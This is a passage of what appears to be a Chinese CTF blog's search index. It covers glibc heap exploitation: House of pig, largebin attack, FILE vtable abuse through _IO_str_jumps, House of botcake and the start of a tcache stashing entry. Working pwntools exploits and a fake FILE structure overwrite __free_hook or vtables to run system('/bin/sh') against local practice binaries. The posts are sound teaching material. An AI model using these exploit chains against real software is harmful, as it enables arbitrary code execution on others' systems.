(_IO_buf_base + 1) fake_file += p64(0) * 4 # from _IO_save_base to _markers fake_file += p64(libcbase+libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;]) # the FILE chain ptr fake_file += p32(2) # _fileno for stderr is 2 fake_file += p32(0) # _flags2, usually 0 fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1 fake_file += p16(0) # _cur_column fake_file += b\u0026#34;\\x00\u0026#34; # _vtable_offset fake_file += b\u0026#34;\\n\u0026#34; # _shortbuf[1] fake_file += p32(0) # padding fake_file += p64(libcbase+libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] + 0x1ea0) # _IO_stdfile_1_lock fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1 fake_file += p64(0) # _codecvt, usually 0 fake_file += p64(libcbase+libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] - 0x160) # _IO_wide_data_1 fake_file += p64(0) * 3 # from _freeres_list to __pad5 fake_file += p32(0xFFFFFFFF) # _mode, usually -1 fake_file += b\u0026#34;\\x00\u0026#34; * 19 # _unused2 fake_file = fake_file.ljust(0xD8-0x10, b\u0026#39;\\x00\u0026#39;) # adjust to vtable fake_file += p64(IO_str_jumps) # fake vtable fake_file += b\u0026#39;/bin/sh\\x00\u0026#39; fake_file += p64(0) fake_file += p64(libcbase+libc.sym[\u0026#39;system\u0026#39;]) edit(2,fake_file) gdb.attach(p) p.sendlineafter(b\u0026#39;choice\u0026#39;,b\u0026#39;5\u0026#39;) p.interactive() 关于demo和解释都是参考这篇文字https://blog.csdn.net/Mr_Fmnwon/article/details/146243889\n师傅讲的很详细\n","date":"2026-03-17T22:50:28+08:00","image":"http://localhost:1313/image/House_of_pig.png","permalink":"http://localhost:1313/p/house-of-pig/","title":"House of pig"},{"content":"https://blog.csdn.net/Mr_Fmnwon/article/details/142330217\nhttps://blog.csdn.net/2302_79542511/article/details/141200902\n先放一张largebin结构图 源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 if (in_smallbin_range(size)) { victim_index = smallbin_index(size); bck = bin_at(av, victim_index); fwd = bck-\u0026gt;fd; } //下面那个else开始是largebin的插入 else { victim_index = largebin_index(size);// 获取对应 bin 的头节点 bck = bin_at(av, victim_index); // 获取 bin 中的第一个 chunk fwd = bck-\u0026gt;fd; if (fwd != bck) { size |= PREV_INUSE; assert((bck-\u0026gt;bk-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); if ((unsigned long) (size) \u0026lt; (unsigned long) (bck-\u0026gt;bk-\u0026gt;size)) { \u0026#39;\u0026#39;\u0026#39; 第一种情况，比最小的小 \u0026#39;\u0026#39;\u0026#39; fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } else { \u0026#39;\u0026#39;\u0026#39;第二种遍历找位置\u0026#39;\u0026#39;\u0026#39; assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); while ((unsigned long) size \u0026lt; fwd-\u0026gt;size) { fwd = fwd-\u0026gt;fd_nextsize; assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd-\u0026gt;size) fwd = fwd-\u0026gt;fd; else { \u0026#39;\u0026#39;\u0026#39;如果fwd-\u0026gt;bk_nextsize被提前构造那victim-\u0026gt;bk_nextsize会被改\u0026#39;\u0026#39;\u0026#39; //fwd此时指向第一个比victim小的chunk victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } bck = fwd-\u0026gt;bk; } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } mark_bin(av, victim_index); \u0026#39;\u0026#39;\u0026#39;这里通上 ，提前构造fwd-\u0026gt;bk\u0026#39;\u0026#39;\u0026#39; victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; 插入chunk比最小的大 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 while ((unsigned long) size \u0026lt; fwd-\u0026gt;size) { fwd = fwd-\u0026gt;fd_nextsize; assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd-\u0026gt;size) fwd = fwd-\u0026gt;fd; else { \u0026#39;\u0026#39;\u0026#39;如果fwd-\u0026gt;bk_nextsize被提前构造那victim-\u0026gt;bk_nextsize会被改\u0026#39;\u0026#39;\u0026#39; //fwd此时指向第一个比victim小的chunk victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } 此时fwd指向比victim小的最大chunk,我们提前修改fwd的bk_nextsize的话\nvictim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim;就可以向fwd-\u0026gt;bk_next_size+0x20中写一个victim地址(heap地址)，这种情况只有在2.31之前有效\n1 2 3 4 5 6 7 8 9 10 11 12 13 bck = fwd-\u0026gt;bk; } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } mark_bin(av, victim_index); \u0026#39;\u0026#39;\u0026#39;这里通上 ，提前构造fwd-\u0026gt;bk\u0026#39;\u0026#39;\u0026#39; victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; 这里控制fwd-\u0026gt;bk（bck）,则bck-\u0026gt;fd = victim;将bck+0x10处改为victim地址\n插入chunk比最小chunk还小 从2.31开始引入了两个检查\n1 2 3 4 5 6 7 // line 3867 if (__glibc_unlikely (fwd-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize != fwd)) malloc_printerr (\u0026#34;malloc(): largebin double linked list corrupted (nextsize)\u0026#34;); // line 3872 bck = fwd-\u0026gt;bk; if (bck-\u0026gt;fd != fwd) 但是如果插入chunk比最小的largebin_chunk还小会直接被链入，没有这些检查\n1 2 3 4 5 6 7 8 9 10 if ((unsigned long) (size) \u0026lt; (unsigned long) (bck-\u0026gt;bk-\u0026gt;size)) { \u0026#39;\u0026#39;\u0026#39; 第一种情况，比最小的小 \u0026#39;\u0026#39;\u0026#39; fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } 这时fwd-\u0026gt;fd是largebin的最大chunk，我们控制fwd-\u0026gt;fd-\u0026gt;bk_nextsize为addr,则victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; 把victim-\u0026gt;bk_nextsize赋值为addr,\nvictim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim;将addr+0x18改为victim地址\nhow2heap demo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main() { unsigned long stack_var1 = 0; unsigned long stack_var2 = 0; fprintf(stderr, \u0026#34;stack_var1 (%p): %ld\\n\u0026#34;, \u0026amp;stack_var1, stack_var1); fprintf(stderr, \u0026#34;stack_var2 (%p): %ld\\n\\n\u0026#34;, \u0026amp;stack_var2, stack_var2); unsigned long *p1 = malloc(0x320); malloc(0x20); unsigned long *p2 = malloc(0x400); malloc(0x20); unsigned long *p3 = malloc(0x400); malloc(0x20); free(p1); free(p2); void* p4 = malloc(0x90); free(p3); p2[-1] = 0x3f1; p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(\u0026amp;stack_var1 - 2); p2[3] = (unsigned long)(\u0026amp;stack_var2 - 4); malloc(0x90); fprintf(stderr, \u0026#34;stack_var1 (%p): %p\\n\u0026#34;, \u0026amp;stack_var1, (void *)stack_var1); fprintf(stderr, \u0026#34;stack_var2 (%p): %p\\n\u0026#34;, \u0026amp;stack_var2, (void *)stack_var2); return 0; } 执行到23行后，有两个空闲chunk在unsortedbin\n然后malloc(0x90)，先扫描p1，p2将他们分别放进smallbin和largebin，然后分割smallbin的p1，并把分割后的chunk(0x330-0xa0)放回unsortedbin\n接下来free(p3)又free了一个0x410的chunk\n然后修改了largebin里的p2，把size改成0x3f1，既属于largebin，又小于p3 size\n接下来一个malloc(0x90)会将p3插入largebin，触发\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 while ((unsigned long) size \u0026lt; fwd-\u0026gt;size) { fwd = fwd-\u0026gt;fd_nextsize; assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd-\u0026gt;size) fwd = fwd-\u0026gt;fd; else { \u0026#39;\u0026#39;\u0026#39;如果fwd-\u0026gt;bk_nextsize被提前构造那victim-\u0026gt;bk_nextsize会被改\u0026#39;\u0026#39;\u0026#39; victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } 这个代码,此时victim相当于p3,fwd相当于p2，p3的bk_nextsize被修改成我们构造的addr2，*(addr2+4)被改成p3地址\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 bck = fwd-\u0026gt;bk; } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } mark_bin(av, victim_index); \u0026#39;\u0026#39;\u0026#39;这里通上 ，提前构造fwd-\u0026gt;bk\u0026#39;\u0026#39;\u0026#39; victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; // 等价于 (fwd-\u0026gt;bk)-\u0026gt;fd = victim; // 等价于 *(addr1+2) = victim; p3的bk被改为addr1,*(addr1+2)被改为p2地址\n利用条件\n可以修改一个 large bin chunk 的 data 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面 ","date":"2026-03-17T22:28:28+08:00","image":"http://localhost:1313/image/Largebin/Largebin_attack.jpg","permalink":"http://localhost:1313/p/largebin-attack/","title":"Largebin Attack"},{"content":"glibc2.24对加入了对vtable地址的合法性检查\nglibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中，如果满足条件就正常执行，否则会调用_IO_vtable_check 做进一步检查。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset \u0026gt;= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void attribute_hidden _IO_vtable_check (void) { #ifdef SHARED /* Honor the compatibility flag. */ void (*flag) (void) = atomic_load_relaxed (\u0026amp;IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == \u0026amp;_IO_vtable_check) return; /* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, \u0026amp;di, \u0026amp;l, NULL) != 0 \u0026amp;\u0026amp; l-\u0026gt;l_ns != LM_ID_BASE)) return; } #else /* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif __libc_fatal (\u0026#34;Fatal error: glibc detected an invalid stdio handle\\n\u0026#34;); } 如果vtable地址不在合法范围内,会引发abort\n利用stdin任意地址写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 struct _IO_FILE { int _flags;\t/* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr;\t/* Current read pointer */ char *_IO_read_end;\t/* End of get area. */ char *_IO_read_base;\t/* Start of putback+get area. */ char *_IO_write_base;\t/* Start of put area. */ char *_IO_write_ptr;\t/* Current put pointer. */ char *_IO_write_end;\t/* End of put area. */ char *_IO_buf_base;\t/* Start of reserve area. */ char *_IO_buf_end;\t/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; _IO_FILE中_IO_buf_base表示缓冲区的起始地址，_IO_buf_end表示结束地址，通过控制这两个数组可以实现控制读写的操作\n任意地址写时，控制read和write的部分为0，_IO_buf_base为想写入的地址，_IO_buf_end\u0026gt;_IO_buf_base,这样下次读入时就会将数据写入目标地址\n_IO_str_jumps 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; vtable在内存中有许多种，_IO_FILE默认是_IO_file_jumps,\n此外还存在，_IO_helper_jumps和_IO_str_jumps等，它们都在_IO_vtable 段中存放，所以我们修改vtable到这些地方是可以绕过合法性检查的\nIO_validate_vtable函数中所验证的 __start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps 而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址 往常覆盖vtable到堆栈上的方式无法绕过此检查，会进入到_IO_vtable_check检查中报错退出\n_IO_str_jumps-\u0026gt;overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp-\u0026gt;_flags \u0026amp; _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp-\u0026gt;_flags \u0026amp; _IO_TIED_PUT_GET) \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { fp-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_read_ptr; fp-\u0026gt;_IO_read_ptr = fp-\u0026gt;_IO_read_end; } pos = fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_base; if (pos \u0026gt;= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in { if (fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else { char *new_buf; char *old_buf = fp-\u0026gt;_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size \u0026lt; old_blen)//pass 一般会通过 return EOF; new_buf = (char *) (*((_IO_strfile *) fp)-\u0026gt;_s._allocate_buffer) (new_size);//target [fp+0xe0] if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)-\u0026gt;_s._free_buffer) (old_buf); /* Make sure _IO_setb won\u0026#39;t try to delete _IO_buf_base. */ fp-\u0026gt;_IO_buf_base = NULL; } memset (new_buf + old_blen, \u0026#39;\\0\u0026#39;, new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp-\u0026gt;_IO_read_base = new_buf + (fp-\u0026gt;_IO_read_base - old_buf); fp-\u0026gt;_IO_read_ptr = new_buf + (fp-\u0026gt;_IO_read_ptr - old_buf); fp-\u0026gt;_IO_read_end = new_buf + (fp-\u0026gt;_IO_read_end - old_buf); fp-\u0026gt;_IO_write_ptr = new_buf + (fp-\u0026gt;_IO_write_ptr - old_buf); fp-\u0026gt;_IO_write_base = new_buf; fp-\u0026gt;_IO_write_end = fp-\u0026gt;_IO_buf_end; } } if (!flush_only) *fp-\u0026gt;_IO_write_ptr++ = (unsigned char) c; if (fp-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_IO_read_end) fp-\u0026gt;_IO_read_end = fp-\u0026gt;_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) 可以看到\n1 2 new_buf = (char *) (*((_IO_strfile *) fp)-\u0026gt;_s._allocate_buffer) (new_size);//target [fp+0xe0] 这里调用了 (char *) (*((_IO_strfile *) fp)-\u0026gt;_s._allocate_buffer) (new_size);\n我们如果控制(char *) (*((_IO_strfile *) fp)-\u0026gt;_s._allocate_buffer) 为system\nnew_size为binsh，在触发overflow时就可以获得shell\n还需要绕过其他检查\n1 2 size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; 1 #define _IO_blen(fp) (((fp)-\u0026gt;_IO_buf_end - (fp)-\u0026gt;_IO_buf_base)) 所以要控制2*(_IO_buf_end-_IObuf_base)+100=binsh地址\n1 2 3 4 5 6 pos = fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_base; if (pos \u0026gt;= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in { if (fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF) /* not allowed to enlarge */ // pass return EOF; else 这里需要控制_IO_USER_BUF为0\n_IO_write_ptr-_IO_write_base\u0026gt;_IO_buf_end-_IO_buf_base\n1 2 3 4 5 6 7 8 if (fp-\u0026gt;_flags \u0026amp; _IO_NO_WRITES)// pass return flush_only ? 0 : EOF; if ((fp-\u0026gt;_flags \u0026amp; _IO_TIED_PUT_GET) \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { fp-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_read_ptr; fp-\u0026gt;_IO_read_ptr = fp-\u0026gt;_IO_read_end; } 这里需要控制_IO_NO_WRITES，IO_TIED_PUT_GET为0\n总结 1 .flag:\n_IO_NO_WRITES=0, _IO_TIED_PUT_GET = 0, _IO_USER_BUF = 0\n0xfbad2084\n2 .IO_write_ptr - IO_write_base \u0026gt; _IO_buf_end - _IO_buf_base\n3 .2 * (_IO_buf_end - _IO_buf_base) + 100 = bin_sh\n4 .fp+0xe0 指向 system 地址\n5 .调整 vtable 触发 overflow，如调整 vtable 为_IO_str_jumps-0x20，就可以使 xsputn 触发 overflow\n_IO_str_jumps-\u0026gt;finish 1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp-\u0026gt;_IO_buf_base \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF)) (((_IO_strfile *) fp)-\u0026gt;_s._free_buffer) (fp-\u0026gt;_IO_buf_base); //[fp+0xe8] fp-\u0026gt;_IO_buf_base = NULL; _IO_default_finish (fp, 0); } 这个函数的调用了\n1 (((_IO_strfile *) fp)-\u0026gt;_s._free_buffer) (fp-\u0026gt;_IO_buf_base); //[fp+0xe8] 我们控制(((_IO_strfile *) fp)-\u0026gt;_s._free_buffer)为system，fp-\u0026gt;_IO_buf_base为binsh地址即可\n1 ._IO_USER_BUF = 0 =\u0026gt; 0xfbad2084\n2 .fp-\u0026gt;_IO_buf_base = str_sh\n3 .fp+0xe8 = system_addr\n4 .调整 vtable，使 finish 在对应位置，这里最好使用_IO_flush_all_lockp来进行触发(_IO_str_jumps-0x20-0x8)\n5 .如果使用_IO_flush_all_lockp，需要满足FSOP条件mode=0,_IO_write_base=\u0026lt;_IO_write_ptr\n","date":"2026-03-16T17:30:28+08:00","image":"http://localhost:1313/image/IO2.jpg","permalink":"http://localhost:1313/p/io%E5%88%A9%E7%94%A82/","title":"IO利用2"},{"content":"https://blog.csdn.net/Mr_Fmnwon/article/details/142468380\n漏洞分析 House of botcake 是利用unsortedbin绕过tcache检查从而实现double free的一种手法\n利用手法\n1 malloc 9个相同tcache大小的chunk0-8\n2 free7个chunk填满tcache(0-6)\n3 free(8)进入 unsortedbin,free(7)与chunk8合并\n4malloc一个在tcatche里空出一个位置\n5再次free（8），由于第一次free8进入unsortedbin,没有tcache_key,所以本次free8进入tcache\n这样chunk8就成为了overlap_chunk\ndemo（glibc2.31） 参考https://blog.csdn.net/Mr_Fmnwon/article/details/142468380\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include\u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; char *chunk_list[0x100]; void menu() { puts(\u0026#34;1. add chunk\u0026#34;); puts(\u0026#34;2. delete chunk\u0026#34;); puts(\u0026#34;3. edit chunk\u0026#34;); puts(\u0026#34;4. show chunk\u0026#34;); puts(\u0026#34;5. exit\u0026#34;); puts(\u0026#34;choice:\u0026#34;); } int get_num() { char buf[0x10]; read(0, buf, sizeof(buf)); return atoi(buf); } void add_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(\u0026#34;size:\u0026#34;); int size = get_num(); chunk_list[index] = malloc(size); } void delete_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); free(chunk_list[index]); } void edit_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(\u0026#34;length:\u0026#34;); int length = get_num(); puts(\u0026#34;content:\u0026#34;); read(0, chunk_list[index], length); } void show_chunk() { puts(\u0026#34;index:\u0026#34;); int index = get_num(); puts(chunk_list[index]); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); while (1) { menu(); switch (get_num()) { case 1: add_chunk(); break; case 2: delete_chunk(); break; case 3: edit_chunk(); break; case 4: show_chunk(); break; case 5: exit(0); default: puts(\u0026#34;invalid choice.\u0026#34;); } } } exp\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import * p=process(\u0026#39;./botcake231\u0026#39;) libc=ELF(\u0026#39;/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6\u0026#39;) context.log_level=\u0026#39;debug\u0026#39; context.arch=\u0026#39;amd64\u0026#39; def menu(idx): p.sendlineafter(b\u0026#39;choice:\u0026#39;,str(idx)) def add(idx,size): menu(1) p.sendlineafter(b\u0026#39;index:\u0026#39;,str(idx)) p.sendlineafter(b\u0026#39;size:\u0026#39;,str(size)) def edit(idx,content): menu(3) p.sendlineafter(b\u0026#39;index:\u0026#39;,str(idx)) p.sendlineafter(b\u0026#39;length:\u0026#39;,str(len(content))) p.sendafter(b\u0026#39;content:\u0026#39;,content) def show(idx): menu(4) p.sendlineafter(b\u0026#39;index:\u0026#39;,str(idx)) def dele(idx): menu(2) p.sendlineafter(b\u0026#39;index:\u0026#39;,str(idx)) #leak libc 并清除所有chunk add(0,0x410) add(1,0x410) dele(0) show(0) p.recv(1) libcbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x21ace0+0x2e100 print(hex(libcbase)) add(0,0x410) dele(1) dele(0) #利用largebin leak heap 并清除所有chunk add(0,0x410) add(1,0x410) add(2,0x410) add(3,0x410) dele(0) dele(2) show(2) p.recv(1) heapbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x290 print(hex(heapbase)) add(0,0x410) add(2,0x410) #botcake for i in range(4): dele(i) for i in range(9): add(i,0x80) add(9,0x10) for i in range(7): dele(i) dele(8) dele(7) add(10,0x80) dele(8) add(11,0xb0) freehook=libcbase+libc.sym[\u0026#39;__free_hook\u0026#39;]-8 heap=heapbase+0x720 xored=(heap\u0026gt;\u0026gt;12)^freehook edit(11,b\u0026#39;a\u0026#39;*0x88+p64(0x91)+p64(freehook)) add(0,0x80) add(0,0x80) sys=libcbase+libc.sym[\u0026#39;system\u0026#39;] edit(0,p64(0)+p64(sys)) add(1,0x8) edit(1,b\u0026#39;/bin/sh\\x00\u0026#39;) print(hex(freehook)) #gdb.attach(p,\u0026#39;b *$rebase(0x1393)\u0026#39;) dele(1) #gdb.attach(p) p.interactive() ","date":"2026-03-12T15:31:28+08:00","image":"http://localhost:1313/image/House_of_botcake.jpg","permalink":"http://localhost:1313/p/house-of-botcake/","title":"House of botcake"},{"content":"https://blog.csdn.net/Mr_Fmnwon/article/details/142649778\nhttps://www.cnblogs.com/pwnfeifei/p/15859114.html\nhttps://xz.aliyun.com/news/14650\n漏洞分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 if (in_smallbin_range (nb)) { idx = smallbin_index (nb); // 获取size对应的small bin索引 bin = bin_at (av, idx); // 获取对应small bin链表头部 if ((victim = last (bin)) != bin) // victim就是要脱链的堆块，也就是small bin里的最后一个 // 这个if在判断我们所需要的size的那条small bin链上是否存在堆块，存在的话就把victim给脱链 { bck = victim-\u0026gt;bk; // 获取victim的bk指针 if (__glibc_unlikely (bck-\u0026gt;fd != victim)) // 对small bin的双向链表的完整性做了检查，确保victim-\u0026gt;bk-\u0026gt;fd指向的还是victim // 如果我们在这里劫持了victim的bk指针，就会导致bck的fd指向的并不是victim，从而触发异常 malloc_printerr (\u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;); set_inuse_bit_at_offset (victim, nb); // 设置下一个（高地址）chunk的prev_inuse位 bin-\u0026gt;bk = bck; // 将victim脱链 bck-\u0026gt;fd = bin; if (av != \u0026amp;main_arena) set_non_main_arena (victim); // 如果不是主arena，设置非主arena标志 check_malloced_chunk (av, victim, nb); // 检查分配的chunk #if USE_TCACHE /* 在这里，如果看到其他相同大小的chunk，把它们放入tcache。 */ size_t tc_idx = csize2tidx (nb); // 获取size对应的tcache索引 if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) // 如果这个索引在tcache bin的范围里，也就是这个size属于tcache bin的范围 { mchunkptr tc_victim; /* 当bin不为空且tcache未满时，将chunks复制过去。 */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count // 如果tcache bin没有满 \u0026amp;\u0026amp; (tc_victim = last (bin)) != bin) // 如果small bin不为空,tc_victim为small bin中的最后一个堆块 { if (tc_victim != 0) { bck = tc_victim-\u0026gt;bk; // 这里取tc_victim的bk指针，并没有针对bck做双向链表完整性检查，因此我们可以去攻击tc_victim的bk指针 set_inuse_bit_at_offset (tc_victim, nb); if (av != \u0026amp;main_arena) set_non_main_arena (tc_victim); bin-\u0026gt;bk = bck; // 将tc_victim从small bin中脱链 bck-\u0026gt;fd = bin; // 如果我们伪造bck，这里就可以将bck-\u0026gt;fd的位置写入一个bin的地址(main_arena+96) tcache_put (tc_victim, 